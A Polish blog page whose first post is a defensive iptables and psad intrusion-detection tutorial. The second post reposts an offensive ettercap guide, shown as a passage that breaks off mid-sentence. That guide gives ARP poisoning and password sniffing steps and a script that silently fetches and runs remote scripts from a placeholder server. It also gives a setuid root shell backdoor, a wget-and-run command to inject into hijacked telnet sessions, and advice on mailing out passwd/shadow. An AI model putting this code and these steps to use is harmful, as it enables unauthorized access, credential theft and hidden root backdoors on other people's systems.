sobota, 19 marca 2011

Iptables+psad

iptables+psad jako zaawansowany system wykrywania włamań

iptables zna praktycznie każdy użytkownik Linuksa. Niektórzy właśnie od niego zaczęli swoją przygodę z pingwinem stawiając darmowy serwer usługi NAT+firewall. W większości przypadków to jedyne zadania jakie powierzamy iptables nie zdając sobie sprawy z jego potencjału. Niniejszy artykuł prezentuje jak przy pomocy iptables oraz psad stworzyć solidny system wykrywania ataków oraz aktywnej ochrony.
iptables - podstawowa konfiguracja

Poniżej przedstawiono prostą konfigurację iptables. Ważne linie zostały pogrubione.
echo -e "Konfiguracja iptables...\n * czyszczenie regul"
iptables -F
iptables -F -t nat
iptables -X
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
modprobe ip_conntrack
modprobe iptable_nat
modprobe ip_conntrack_ftp
modprobe ip_nat_ftp
#siec wewnetrzna
INT=192.168.11.0/24
echo " * regulki INPUT"
iptables -A INPUT -m state --state INVALID -j LOG --log-prefix "INPUT DROP INVALID " --log-ip-options --log-tcp-options
iptables -A INPUT -m state --state INVALID -j DROP
#stateful filreting
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
#anti-spoofing
iptables -A INPUT -i eth1 -s ! $INT -j LOG --log-prefix "INPUT SPOOFED PKT "
iptables -A INPUT -i eth1 -s ! $INT -j DROP
#accept
iptables -A INPUT -i eth1 -p tcp -m multiport --dports 21,22,25,43,80,443,4321,53 --syn -m state --state NEW -j ACCEPT
iptables -A INPUT -j LOG --log-ip-options
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
#domyslnie LOG i DROP
iptables -A INPUT -i ! lo -j LOG --log-prefix "INPUT DROP " --log-ip-options --log-tcp-options

echo " * regulki OUTPUT"
iptables -A OUTPUT -m state --state INVALID -j LOG --log-prefix "OUTPUT DROP INVALID " --log-ip-options --log-tcp-options
iptables -A OUTPUT -m state --state INVALID -j DROP
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
#accept
iptables -A OUTPUT -p tcp -m multiport --dports 21,22,25,43,80,443,4321,53 --syn -m state --state NEW -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -m state --state NEW -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
#domyslnie LOG i DROP
iptables -A OUTPUT -o ! lo -j LOG --log-prefix "OUTPUT DROP " --log-ip-options --log-tcp-options

echo " * regulki FORWARD"
iptables -A FORWARD -m state --state INVALID -j LOG --log-prefix "FORWARD DROP INVALID " --log-ip-options --log-tcp-options
iptables -A FORWARD -m state --state INVALID -j DROP
iptables -A FORWARD -i eth1 -s ! $INT -j LOG --log-prefix "FORWARD SPOOFED PKT "
iptables -A FORWARD -i eth1 -s ! $INT -j DROP
#accept
iptables -A FORWARD -p tcp -m multiport --dports 21,22,25,43,80,443,4321 --syn -m state --state NEW -j ACCEPT
iptables -A FORWARD -p tcp --dport 53 -m state --state NEW -j ACCEPT
iptables -A FORWARD -p udp --dport 53 -m state --state NEW -j ACCEPT
iptables -A FORWARD -p icmp --icmp-type echo-request -j ACCEPT
iptables -A FORWARD -i ! lo -j LOG --log-prefix "FORWARD DROP " --log-ip-options --log-tcp-options
echo " * regulki NAT"
iptables -t nat -A POSTROUTING -s $INT -o eth0 -j MASQUERADE

echo " * IP forward enable"
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "Gotowe"

Zakładana polityka bezpieczeństwa zakłada, że dopuszczone są usługi SSH, FTP, HTTP, HTTPS, DNS oraz whois. Akceptowane są nowe połączenia (NEW) do wybranych usług oraz te, które w jakiś sposób związane są z połączeniami już otwartymi (ESTABLISHED, RELATED).

Dodatkowo iptables ma logować pakiety niepasujące do polityki ("zabłąkane" pakiety, skanowanie portów) oraz niezwiązanych z żadnymi połączeniami (INVALID). Dopuszczalne pakiety przechodzą dalej, niechciane natomiast zostają zapisane do loga i odrzucane.

Jakkolwiek dziwnym może się wydawać, iż najważniejsze dla ochrony jest logowanie połączeń, w istocie iptables najpierw musi dostarczyć informacji, na podstawie których podjęte będą działąnia obronne.
iptables - wykrywanie zagrożeń

Po stworzeniu zapory warto zwrócić uwagę jak zareaguje ona na żądania nie pasujące do przewidzianych w polityce bezpieczeństwa. Zapora ma adres 192.168.11.105, atakujący komputer 192.168.11.99.

Na początek połączenie TCP z portem 5555:
nc -v 192.168.11.105 5555

iptables odrzuca żądanie:

Jan 11 04:45:00 debian kernel: [ 6391.817203] INPUT DROP IN=eth1 OUT= MAC=08:00:27:01:c8:8c:00:13:8f:76:60:68:08:00 SRC=192.168.11.99 DST=192.168.11.105 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=28471 DF PROTO=TCP SPT=39115 DPT=5555 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405B40402080A00D1F4980000000001030306)

Następnie próba połączenia UDP:
hping3 -2 -p 5555 192.168.11.105

iptables ponownie raportuje:
Jan 11 04:53:02 debian kernel: [ 6874.006107] INPUT DROP IN=eth1 OUT= MAC=08:00:27:01:c8:8c:00:13:8f:76:60:68:08:00 SRC=192.168.11.99 DST=192.168.11.105 LEN=28 TOS=0x00 PREC=0x00 TTL=64 ID=58508 PROTO=UDP SPT=2349 DPT=5555 LEN=8



i trzecia próba - polityka przewiduje odpowiedź tylko na żądanie ICMP Echo. Oto co się stanie gdy iptables dostanie nieoczekiwaną odpowiedź ICMP Echo:

hping3 -1 --icmptype echo-reply 192.168.11.105

iptables ponownie raportuje niewłaściwy pakiet:
Jan 11 05:02:33 debian kernel: [ 7444.418491] INPUT DROP INVALID IN=eth1 OUT= MAC=08:00:27:01:c8:8c:00:13:8f:76:60:68:08:00 SRC=192.168.11.99 DST=192.168.11.105 LEN=28 TOS=0x00 PREC=0x00 TTL=64 ID=20689 PROTO=ICMP TYPE=0 CODE=0 ID=42033 SEQ=1280

Przyjrzyjmy się dwu pierwszym raportom. Opcja --log-tcp-options rozszerza standardowy log iptables o pola portów źródłowych oraz docelowych, flagi, okno ECN, znacznik zarezerwowane i opcje w przypadku segmentu TCP natomiast w przypadku datagramu UDP dodaje jego długość oraz informacje o portach źródłowym i docelowym. Dzięki opcji --log-ip-options logowane są także opcje nagłówka IP. Informacje te przydadzą się przy dalszej analizie.
psad czyli trochę magii

Chociaż można analizować log linijka po linijce lepiej poświęcić się mniej mechanicznym zajęciom a nudne zadanie powierzyć komuś innemu - psad. Port Scan Attack Detector został popełniony przez eksperta w dziedzinie ochrony sieci, Machaela Rasha. Skrypt ten analizuje informacje dostarczane przez iptables w poszukiwaniu podejrzanych działań jak skanowanie portów, ataków DDoS a także śladów backdoorów. W połączeniu z fwsnort może wykrywac i generować alarmy również w przypadku ataków na warstwę aplikacji. psad korzystając z danych p0f (oraz rozszerzonych logów iptables) umożliwia również pasywne wykrywanie systemu operacyjnego używanego przez atakującego. Oprócz tego potrafi automatycznie uruchomić aktywną ochronę w postacji czasowego blokowania adresów IP (domyślnie wyłączone) oraz wysyła szczegółowe raporty pocztą elektroniczną.

Instalacja w systemie debian nie jest do końca zautomatyzowana. Po wydaniu polecenia:
aptitude install psad

pojawia się komunikat:
ERR: Syslog has not been configured to send messages to /var/lib/psad/psadfifo.
Please configure it as described in psad(8).

Cała dodatkowa konfiguracja sprowadza się do dodania linijki na końcu /etc/syslog.conf:
kern.info |/var/lib/psad/psadfifo

Po dopisaniu powyższego należy uaktualnić sygnatury psad przy pomocy psad --sig-update a następnie uruchamić poleceniem /etc/init.d/psad start. psad zakłada, że logowane są tylko odrzucane pakiety (polityka log&drop) i sprawdza przed uruchomieniem poprawność ustawień iptables w łańcuchu INPUT oraz FORWARD. Jeśli wymaganych reguł brakuje psad informuje o tym. Konfiguracja narzędzia znajduje się w /etc/psad/psad.conf i zawiera ponad 100 parametrów. Na razie pozostańmy przy konifguracji domyślnej i zajrzyjmy do logów w poszukiwaniu informacji od psad.
psad analizuje logi i informuje o zagrożeniach

Zabaczmy jak psad zareaguje na próbę skanowania portów TCP connect():
nmap -sT -n 192.168.11.105 --max-rtt-timeout 500
oprócz informacji iptables w logu pojawia się komunikat od psad
Jan 11 05:13:55 debian psad: scan detected: 192.168.11.99 -> 192.168.11.105 tcp: [13-65389] flags: SYN tcp pkts: 1098 DL: 5

Nie ma potrzeby analizowania każdej informacji od iptables z osobna - psad analizuje je za nas i informuje o zagrożeniach. Informacja zawiera adres IP skąd zarejestrowano skanowanie (warto pamiętać, że adres ten może być sfałszowany) a także zakres skanowanych portów i liczbę pakietów. DL oznacza poziom zagrożenia wedle poziomów zdefiniowanych w /etc/psad/psad.conf (zmienne DANGER_LEVEL).
Należy zaznaczyć, że ponieważ w logach iptables nie ma jednoznacznej informacji w jakim łańcuchu wykryto logowane zagrożenie psad przyjmuje następujące założenia:

komunikaty, które nie zawierają interfejsu wyjściowego pochodzą z reguł łańcucha INPUT
komunikaty, które nie zawierają interfejsu wejściowego pochodzą z reguł łańcucha OUTPUT
komunikaty, które zawierają oba interfejsy pochodzą z reguł łańcucha FORWARD

Skanowanie TCP FIN:
nmap -v -sF -n 192.168.11.105 --max-rtt-timeout 500

i ponownie psad informuje o zdarzeniu:
Jan 11 05:18:23 debian psad: scan detected: 192.168.11.99 -> 192.168.11.105 tcp: [1-65389] flags: FIN tcp pkts: 2000 DL: 4

W przypadku gdy DL zdarzenia przekroczy EMAIL_ALERT_DANGER_LEVEL psad wyśle e-mail z informacją o zdarzeniu do administratora systemu. Informacja ta zawiera poziom zagrożenia, porty i flagi skanowania, źródłowy i docelowy adres IP, liczbę e-maili dotyczących tego źródła zagrożenia, zakres skanowanych portów oraz informacje z bazy whois. psad przechowuje sporo informacji o zdarzeniach w katalogu /var/log/psad. Na przykład katalog /var/log/psad/192.168.11.99 zawiera informacje whois dla adresu, ostatni alert wysłany e-mailem do administratora, znacznik czasowy pierwszego podejrzanego pakietu, aktualny stopień zagrożenia oraz plik z wynikiem pasywnego skanowania systemu operacyjnego. Ponieważ niewygodne jest ręczne przedzieranie się przez katalogi psad --Status udostępnia informacje o aktualnym statusie serwera psad, psad -A natomiast analizuje archiwalne logi iptables znajdujące się w /var/log/messages.
psad na straży porządku

Zanim przejdziemy teraz do konfiguracji aktywnej ochrony systemu przed zagrożeniem należy zauważyć, iż zgodnie z prawem Murphy'ego każde rozwiązanie rodzi nowe problemy. Napastnik może szybko zauważyć aktywne blokowanie źródeł zagrożeń i obrócić to przeciwko chronionemu systemowi. psad umożliwia więc dodanie białej listy zawierającej komputery i sieci, które nigdy nie powinny być blokowane.
W ramach aktywnej ochrony systemu psad umożliwia m.in.:

ręczne dodanie lub usunięcie reguły blokującej zadany adres IP - opcje --fw-block-ip oraz --fw-rm-block-ip
podgląd w statusie psad aktualnie zablokowanych adresów wraz z czasem do ich odblokowania
dodawanie niekolidujących z dowolną polityką bezpieczeństwa reguł iptables blokujących napastników (reguły dodawane są w osobnym łańcuchu)
konfigurowanie minimalnego poziomu zagrożenia związanego z blokowaniem
blokowanie stałe lub tymczasowe
informowanie za pomocą e-mail o dodaniu blokady
wybór czy blokady będą związane ze skanowaniem portów bądź atakami pasującymi do sygnatur

Wyedytujmy zatem plik /etc/psad/psad.conf w celu uaktywnienia aktywnej obrony systemu. Najważniejszą zmienną jest ENABLE_AUTO_IDS, nadajmy jej wartość Y. W tym momencie aktywowane są pozostałe zmienne AUTO_IDS_DANGEL_LEVEL (zmieńmy na 3) odpowiadająca za minimalny poziom zagrożenia skutkujący zablokowaniem adresu (dokładniejsze poziomy związane z konkretnymi adresami/sieciami można ustawic w /etc/psad/auto_dl), AUTO_BLOCK_TIMEOUT określająca czas blokady w sekundach (0 powoduje ustawienie blokady stałej, gdy FLUSH_IPT_AT_INIT ma wartość Y blokada usuwana jest przy restarcie psad/systemu). Ważną zmienną jest IPT_AUTO_CHAIN, która określa tworzenie reguł blokujących - domyślnie konfiguruje 3 dodatkowe łańcuchy PSAD_BLOCK_INPUT, PSAD_BLOCK_OUTPUT oraz PSAD_BLOCK_FORWARD. Dla łańcuchów tych ustawiane są reguły DROP związane z adresem napastnika uniemożliwiające komunikację zarówno z firewallem jak i chronionymi maszynami pracującymi w sieci lokalnej.

Zrestarujmy psad i spróbujmy skanowania portów TCP SYN:
#/etc/init.d/psad restart
#nmap -sS -P0 -n 192.168.11.105
(...)
#tail /var/log/messages
Jan 11 05:33:18 debian psad: scan detected: 192.168.11.99 -> 192.168.11.105 tcp: [3-65389] flags: SYN tcp pkts: 1877 DL: 5
Jan 11 05:33:20 debian psad: added iptables auto-block against 192.168.11.99 for 3600 seconds
Napastnik został zablokowany na godzinę. Aktualny stan blokad możemy uzyskać na dwa sposoby:

#psad --Status
(...)
iptables auto-blocked IPs:
&npsp; 192.168.11.99 (3413 seconds remaining)
(...)
# psad --fw-list
[+] Listing chains from IPT_AUTO_CHAIN keywords...

Chain PSAD_BLOCK_INPUT (1 references)
pkts bytes target prot opt in out source destination
1133 49852 DROP all -- * * 192.168.11.99 0.0.0.0/0

Chain PSAD_BLOCK_OUTPUT (1 references)
pkts bytes target prot opt in out source destination
0 0 DROP all -- * * 0.0.0.0/0 192.168.11.99

Chain PSAD_BLOCK_FORWARD (1 references)
pkts bytes target prot opt in out source destination
0 0 DROP all -- * * 0.0.0.0/0 192.168.11.99
0 0 DROP all -- * * 192.168.11.99 0.0.0.0/0
Blokada zostanie usunięta po upływie określonego czasu lub po wydaniu polecenia
#psad --fw-rm-block-ip 192.168.11.99
[+] Writing 192.168.11.99 to socket; psad will remove the IP within 5 seconds.
#tail /var/log/messages
Jan 11 05:37:01 debian psad: removed iptables auto-block against 192.168.11.99

Wszystko działa jak powinno. Rozważmy jednak następującą sytuację. Napastnik domniema, iż skanowanie portów skutkuje blokadą adresu IP, zauważył też, że system atakowany stoi na łączu TP DSL i wykonał następujące polecenie
nmap -sS -P0 -S 194.204.159.1 -e eth1 -n 83.16.X.X
po chwili psad blokuje adres serwera DNS:
Jan 11 09:27:06 debian psad: added iptables auto-block against 194.204.159.1 for 3600 seconds
Jeśli powtórzyć operację dla drugiego serwera DNS istnieje duże prawdopodobieństwo praliżu pracy przedsiębiorstwa za firewallem. Aby uchronić się przed podobną sytuacją należy dodać zaufane adresy, które nie powinny być blokowane do pliku /etc/psad/auto_dl z poziomem zagrożenia równym 0.
psad, swatch i ssh

psad posiada naprawdę spore możliwości. W połączeniu z regułami Snort pozwala również reagować na zagrożenia w warstwie aplikacji. Dodatkowo samemu można wykorzystać go we własnych skryptach lub wraz z innymi narzędziami co zostanie pokazane poniżej.
Implementacja blokowania adresu IP, z którego nie powiodło się logowanie ssh zrealizujemy przy pomocy swatch, który na bieżąco analizuje /var/log/auth.log w poszukiwaniu informacji o nieudanym logowaniu ssh.
Tworzymy plik swatchrc o poniższej zawartości:

watchfor /sshd.*authentication\s*failures.*rhost.((?:[0-2]?\d{1,2}\.){3}[0-2]?\d{1,2}).*/
echo mode=red
exec "/usr/sbin/psad --fw-block-ip $1"

po czym uruchamiamy z linii poleceń:
#swatch --config-file=swatchrc --tail-file=/var/log/auth.log
*** swatch version 3.2.1 (pid:4186) started at Tue Jan 11 10:14:34 CET 2009

Jan 11 10:14:51 debian sshd[4190]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.11.88 user=root
[+] Writing 192.168.11.88 to socket; psad will add the IP within 5 seconds.
Po paru nieudanych logowaniach przez ssh adres IP jest blokowany.



Dziękuję za uwagę. Mam nadzieję, że artykuł zachęci do dalszego poznawania możliwości psad a być może pomoże skutecznie ochronić czyjeś cenne zasoby :-)

piątek, 18 marca 2011

ettercap

* Sniffery

FAQ

Download

Forum dyskusyjne

Kontakt i linkownia

Napisz do nas





Ettercap - obsługa
Jest to opis wersji pod system operacyjny Linux, pod systemem Windows NT/XP/2000 większość opcji działa prawidłowo, pod systemem Windows 98/ME większość opcji nie działa.


Autor artykułu:
nagash

Artykuł pochodzi ze strony: http://www.t-nas.org/

______ _ _
| ____| | | |
| |__ | |_| |_ ___ _ __ ___ __ _ _ __
| __| | __| __/ _ \ '__/ __/ _` | '_ \
| |____| |_| || __/ | | (_| (_| | |_) |
|______|\__|\__\___|_| \___\__,_| .__/
by | |
Nagash 2004 v1.0 |_|

Zawartosc:
0. WSTEP
1. INSTALACJA
2. SLOW KILKA NA TEMAT "WESZENIA" W ETTERCAPIE
3. WSTRZYKNIECIA
4. "BEZPIECZNY" PROTOKOL SSHv1
5. PASYWNA IDENTYFIKACJA KOMPUTEROW
6. PACKET FORGE
7. FILTRY
8. ZAKONCZENIE

###########
# 0. WSTEP

Artykul ten zostal napisany JEDYNIE z celu usiadominia ludziom jak latwo przechwycic niezaszyfrowane (bardzo czesto zaszyfrowane tez) informacje w lokalnej sieci. Nie odpowiadam za ewentualne szkody poniesione w wyniku uzywania tych technik, ponadto zaznaczam ze czesc z nich jest nielegalna i karana przez polskie prawo. Dokument mozna dowolnie powielac (bez jego modyfikacji), nie mozna natomiast go "sprzedawac" (umieszczac na platnych nosnikach danych, itp.). To tyle slowem wstepu.

################
# 1. INSTALACJA

Sciagamy ostatnia stabilna wersje ettercapa (ver. 0.6.b) ze strony http://ettercap.sourceforge.net/. Sama instalacja nie powinna przysporzyc zbyt duzej ilosci klopotwo, ta wersja nie ma specjalnych wymagan co do bibliotek (zalecane jest posiadanie ncurses), opcjonalnie wymagane sa biblioteki gtk+, ale nie radze zawracac sobie nimi glowy. Interfejs graficzny jest jeszcze bardzo mocno niedopracowany i bardzo czesto program niespodziewanie konczy swoja prace. Jeżeli ktoś nie chce tracić czasu na instalacje to może skorzystać, z poniższego skryptu:

-- install.sh --
#!/bin/bash

if [ `whoami` != "root" ]; then
echo "[-] Tylko root moze poprawnie uruchomic ten skrypt"
exit 1
fi
old_dir=`pwd`
cd /usr/local/src
echo "[~] Rozpoczynam sciaganie zrodla ettercapa..."
wget http://unc.dl.sourceforge.net/sourceforge/ettercap/ettercap-0.6.b.tar.gz > /dev/null 2> /dev/null
if [ $? -eq 0 ]; then
echo "[+] Zrodlo zostalo sciagniete"
else
echo "[-] Wystapil blad podczas sciagania zrodla"
exit 1
fi
echo "[~] Rozpakowywuje..."
tar -zxf ettercap-0.6.b.tar.gz
if [ $? -eq 0 ]; then
echo "[+] Zrodlo rozpakowane"
else
echo "[-] Wystapil blad podczas rozpakowywania"
exit 1
fi
rm -f ettercap-0.6.b.tar.gz
echo "[+] Zrodlo zostalo poprawnie sciagniete i rozpakowane do katalogu /usr/local/src/"
echo "[~] Konfiguruje i kompiluje ettercapa..."
cd ettercap-0.6.b
#wylaczam gtk, poniewaz uwazam ze to zbedny bajer, moze w nastepnej wersji bedzie bardziej dopracowany...
./configure --disable-gtk || make || make install
if [ $? -eq 0 ]; then
echo "[+] Instalacja przebiegla pomyslni"
else
echo "[-] Wystapil blad podczas instalacji"
exit 1
fi
cd $old_dir

-- install.sh --

##########################################
# 2. SLOW KILKA NA TEMAT "WESZENIA" W ETTERCAPIE

Gdy mamy juz zainstalowanego ettercapa, mozemy przystapic do zapoznania sie z jego funkcjami. Gdy program chodzi praktycznie w kazdej chwili mozemy wywolac menu pomocy (klawiszem "h"), aby sprawdzic jakie opcje sa w danej chwili dostepne.
Jedna z najwazniejszych (moim zadaniem) jest zdolnosc "zatruwania sieci" odpowiednio spreparowanymi pakietami ARP. Dzieki temu mozemy skutecznie podsluchiwac inne komputery nawet w sieciach przelaczanych. Zaleta programu jest to ze praktycznie calkowicie automatyzuje on cala czynnos. Wystarczy ze wybierzemy hosty, ktore chcemy podluchwiac, kierunk transmisji i sniffing na bazie pakietow ARP (czyli (A)). Teraz wystarczy ze poczekamy i hasla beda nasze. Ettercap automatycznie przechwytuje loginy i hasla z najbardziej popularnych protokolow (TELNET, FTP, POP, RLOGIN, SSH1, ICQ, SMB, MySQL, HTTP, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC, LDAP, NFS, SNMP, HALF LIFE, QUAKE 3, MSN, YMSG). "Automatycznie" oznacza, ze wystarczy najechac na dane polaczenie tabulka, i na dole ekranu pojawi sie, user i login. Gdy jestesmy nastawieni na masowe przechwytywanie hasel, dobrym pomyslem byloby przed zakonczeniem sesji zapisanie ich do pliku, mozemy to uczynic przez nacisniecie klawisza (L). Oczywiscie mozna tez recznie przechwytywac takie informacje. Wchodzac do polaczenia, podswietlajac je i naciskajac (enter), mamy dokladny zapis transmisji jaka przebiega pomiedzy dwoma maszynami. Oba okna mozna skofigurowac dla naszych potrzeb. Na przyklad, gdy chcemy podsluchiwac rozmowe na chatcie lub protokole komunikacynym dla przejrzystosci mozemy nacisnac (T), wtedy w oknach beda wyswietlane tylko znaki "pisane", reszta bedzie wycinana. Mozemy powrocic do widoku ascii przez nacisniecie (A), lub wlaczyc tryb bardziej szczegolowy (hexowy), przez nacisniecie klawisza (X).

###################
# 3. WSTRZYKNIECIA

W trybie sniffingu ARP oprocz ogladania transmisji dostajemy jeszcze jedna mozliwosc. Mozemy "wstrzykiwac" wlasne dane. Rozpatrzmy taka sytuacje. Przypuscmy ze ktos w sieci uzywa telnetu. Polaczyl sie z jakims serwerem, niestety zrobil to zanim my zdarzylismy wlaczyc sniffera, czyli juz nie podejrzymy hasal (przynajmnije poki co). Mozemy jednak przeslac do sewera zwykla komende tak jak bysmy to my byli komputerem podlaczonym do tego serwera. Taka komenda moze byc przypuscmy "exit\r\n", lub "logout\r\n", jej skutek zobaczy prawdziwy uzytkownik, ktory zostanie odlaczony. Jezeli zrobimy to w dobrym momencie (na przyklad wtedy gdy zalogowany czlowiek wydal juz jakies polecenie do serwera i czeka na wynik, lub tuz po jego wykonaniu, gdy nie zdarzyl jeszcze przeczytac wyniku). Najprawdopodobniej bedzie probowal sie zalogowac jeszcze raz, a wtedy poda uzytkownika i haslo, czyli to o co nam chodzi. To byl akurat prosty przyklad i w sumie nie trzeba bylo tu korzystac z wstrzykniec, tylko nacisnac klawisz (K), ktorym zabijamy zaznaczone polaczenie. Przypuscmy terez ze zalogowany uzytkownik ma prawa root'a, mozemy wykonac manewr z zabiciem polaczenia i zdobyciem hasla, ale... logujac sie zawsze pozostawiamy slady w systemie, a nie zawsze mozna je usunac. Dzieki wstrzyknieciom mozemy zalozyc sobie backdoora, oraz zebrac informacje o systemie (np. gdzie sa zapisywane logi systemowe) bez koniecznoci podlaczania sie do niego. Jak tego dokonac? W tym celu stworzylem/(zmodyfikowalem juz istniejace) pare prostych skryptow w bashu.

-- mod_rt.sh --

#!/bin/bash
#skrypt automatyzujacy zakladnie backdoorow
#sciaga on liste innych skryptow z sieci, po czym je uruchamia
#moga to byc dowolne skrypty, zbierajace info o komputerze na ktorym zostal uruchominy, proste backdoory itp.
#DEKLARACJE FUNKCJI

#stworzenie i przeniesienie sie do tymczasowego katalogu
function begin()
{
# echo "[+] Starting scrypt"
mkdir /tmp/inode9234
pushd /tmp/inode9234 > /dev/null 2> /dev/null
}

#funkcja czyszczaca wywowywana na ogol na koniec skryptu
function end()
{
# echo "[+] Clearing..."
popd > /dev/null 2> /dev/null
rm -rf /tmp/inode9234
name=`echo $0`
(sleep 5; rm -f $name) &
# echo "[+] Stoping scrypt"
}
#KONIEC DEKLARACJI

#sprawdzenie czy osoba wykonujaca skrypt jest rootem
id | grep -w 'uid=0' > /dev/null 2> /dev/null
if [ $? -ne 0 ]; then
# echo "[-] You must be root to run this script correctly"
exit 1
fi

begin

#ustalenie miejsca listy skryptow
if [ $1 ]; then
src_dow=$1;
else
src_dow='http://strona.z.lista.moich.skryptow.i.backdorami/src_list';
fi

src_dir=`echo ${src_dow%/*}`

#sciagniecie pliku skryptow do instalacji
# echo -n "[~] Downloading scrypt list: "
wget $src_dow > /dev/null 2> /dev/null
if [ $? -eq 0 ]; then
# echo -e "\t[ OK ]"
echo > /dev/null #linijka zbedna gdy powyzsza nie jest skomentowana
else
# echo -e "\t[ FAIL ]"
# echo "[-] Can't download scrypt list"
end
exit 1
fi

# echo "[~] Starting download:"
#sciagnanie i wykonywanie kolejnych skryptow
line_num=1
line=`cat -n src_list | grep -w " $line_num" | cut -b 8-`
while [ $line ]; do
#sprawdzenie czy linia nie zaczyna sie od znaku komentarza lub spacji
res=`echo $line | cut -b 1`
if [ $res != "#" -o $res != " " ]; then

# echo "[~] Downloading: $src_dir/$line"
#sciagniecie skryptu
wget "$src_dir/$line" > /dev/null 2> /dev/null
if [ $? -eq 0 ]; then
# echo "[+] Downloading complete"
#wykonywanie skryptu
# echo -ne "[~] Executing $line: "
sh $line
if [ $? -eq 0 ]; then
# echo -e "\t[ OK ]"
echo > /dev/null #linia zbedna gdy powyzsza jest odkomentowana
else
# echo -e "\t[ FAIL ]"
echo > /dev/null #to samo co wyzej
fi
else
# echo "[-] Can't download: $line"
echo > /dev/null #czytaj wczesniej
fi
fi
line_num=$[$line_num+1]
#ten warunek moze nie jest zbyt profesjonalnie napisany, ale chyba nikt nie bedzie korzystal
#z listy wiekszej niz 999 ??
if [ $line_num -ge 10 ]; then
line=`cat -n src_list | grep -w " $line_num" | cut -b 8-`
elif [ $line_num -ge 100 ]; then
line=`cat -n src_list | grep -w " $line_num" | cut -b 8-`
else
line=`cat -n src_list | grep -w " $line_num" | cut -b 8-`
fi


done

end
-- mod_rt.sh --

Jak mozna zauwazyc wylaczylem w naszym przykladzie wszystkie komendy "echo", zabieg ten jest niezbedny poniewaz, napewno ofiara by sie szybko zoorientowala, ze cos jest nie tak, gdyby nagle na jej ekranie zaczelyby sie wypisywac komunikaty o postepie zakladanych backdoorow.

-- local_simple_backdoor.sh --
#!/bin/bash

cat << KONIEC > a.c
#include
main () {
setuid(0);
setgid(0);
unsetenv("HISTFILE");
system("/bin/sh");
}
KONIEC
gcc -o /tmp/tmp01985 a.c
chmod +s /tmp/tmp01985
rm -f a.c
-- local_simple_backdoor.sh --

najprostrzy lokalny backdoor jaki widzialem, bardzo latwo go tez znalezc, ale dla przykladu wystarczy. Tworzymy tez jakis tam plik z lista skryptow, ktore maja byc wykonane na komputerze ofiary. W tym wypadku bedzie on wygladal tak:

-- src_list --
local_simple_backdoor.sh
-- src_list --

(moze byc ich oczywiscie wiecej wtedy ich nazwy powinny byc wpisywane w nowych liniach)
wszystkie trzy pliki wrzucamy na darmowy serwer www (http://darmowy.serwer.pl/moje_konto). Wystarczy ze strzykniemy w sesje nastepujacy tekst:
(wget -q darmowy.serwer.pl/moje_konto/mod_rt.sh; sh mod_rt.sh darmowy.serwer.pl/moje_konto/src_list;)\r\n
albo jezeli chcemy mozemy skrocic wstrzykniecie przez nadanie zmiennej $src_dow w skrypcie mod_rt.sh wartosci, ktora bedzie okreslala miejsce pliku "src_list". Dzieki temu pojawi sie lokalny backdoor, a to tylko przyklad. Mozna rownie dobrze napisac skrypt, ktory wysle na maila plik z passwd/shadow'em, odpowiednio zmodyfikuje syslog.conf lub po prostu podmieni plik /var/www/html/index.html.

#################################
# 4. "BEZPIECZNY" PROTOKOL SSHv1

W powyzszym punkcie opisalem, metody atakow na protokol telnet. Moze i bylyby one przydatne gdyby nie fakt, ze coraz mniej osob z niego korzysta. Protokol ten jest wypierany glownie przez SSH. Wielu administratorow jednak nie zdaje sobie sprawy ze domyslna konfiguracja jednej z najpopularnijszych implementacji (OpenSSH) dopuszcza korzystanie w pierwszej wersji tego protokolu. Nie jest to blad czy zaniedbanie ze strony programistow. Po prostu nie wszystkie klienty tego protokolu obsluguja wersje druga. Co daje nam ta wiedze? Pierwsza wersja SSH oraz SSL jest podatny na atak typu MITM (men-in-the-middle, "czlowiek-w-srodku"). Sadze, ze nazwa tego ataku sama opisuje jego przebieg (jezeli ktos jest zainteresowany szczegolami to odsylam do google). Tutaj przedstawie tylko zalozenia:

+---+ szyfrowanie kluczem nr. 1 +---+
| A | <--------------------------> | B |
+---+ +---+
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ <- Normalne polaczenie SSH


+---+ szyfrowanie kluczem nr. 1 +---+ szyfrowanie kluczem nr. 2 +---+
| A | <--------------------------> | C | <--------------------------> | B |
+---+ +---+ +---+
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Polaczenie SSH + atak MITM

Widzimy tu ze w polaczeniu posredniczy maszyna C. Jest ona w stanie odczytac zaszyfrowane informacje, poniewaz maszyna A uwaza ja za B, natomiast maszyna B za A. Cale polaczenie jest szyfrowane, tylko ze komunikacja odbywa sie w dwoch etapach najpierw maszyna A szyfruje do C, myslac ze to komputer B. Maszyna C odszyfrowywuje informacje oraz szyfruje ja do maszyny B podajac sie za A. Calosc jest mozliwa poniewaz SSH1 i SSL nie uwzglednia uwierzytelniania maszyn ktore sie komunikuja. Oto cala idea. Atak mozna przeprowadzic tylko na poczatku polaczenia, czyli podczas gdy obie maszyny wymieniaja miedzy soba klucze publiczne i generuja klucz do sesji.

To tyle teorii, teraz jak to przeprawadzic w praktyce. Wlasciwie wystarczy uruchomic ettercapa, ustawic sniffing miedzy danymi maszynami na bazie pakietow ARP i czekac. Ettercap odwali cala brudna robote za nas. Nigdy nie probowalem (z braku mozliwosci), ale metody opisane wyzej w atakach na telnet powinny tez dzialac na protokole SSH1. Jezeli natomiast spoznilismy sie z uruchomieniem sniffera, bedziemy widziec tylko zaszyfrowane informacje. Mozna sobie z tym poradzic, zabijajac dane polaczenie, i czekajac az zostanie nawiazane nowe. Klient SSH oraz przegladarki internetowe (w przypadku SSL) wyswietlaja informacje o kluczu jakiego uzywa druga strona. Z doswiadczenia jednak, wiem ze malo kto zwraca na to uwage (bo przeciez kto sie bedzie uczyl na pamiec "odciskow palcow" kluczy publicznych serwerow?). Tak wiec widac ze, pomimo silnych algorytmow kryptograficznych, przez nieuwage lub ignorancje mozemy 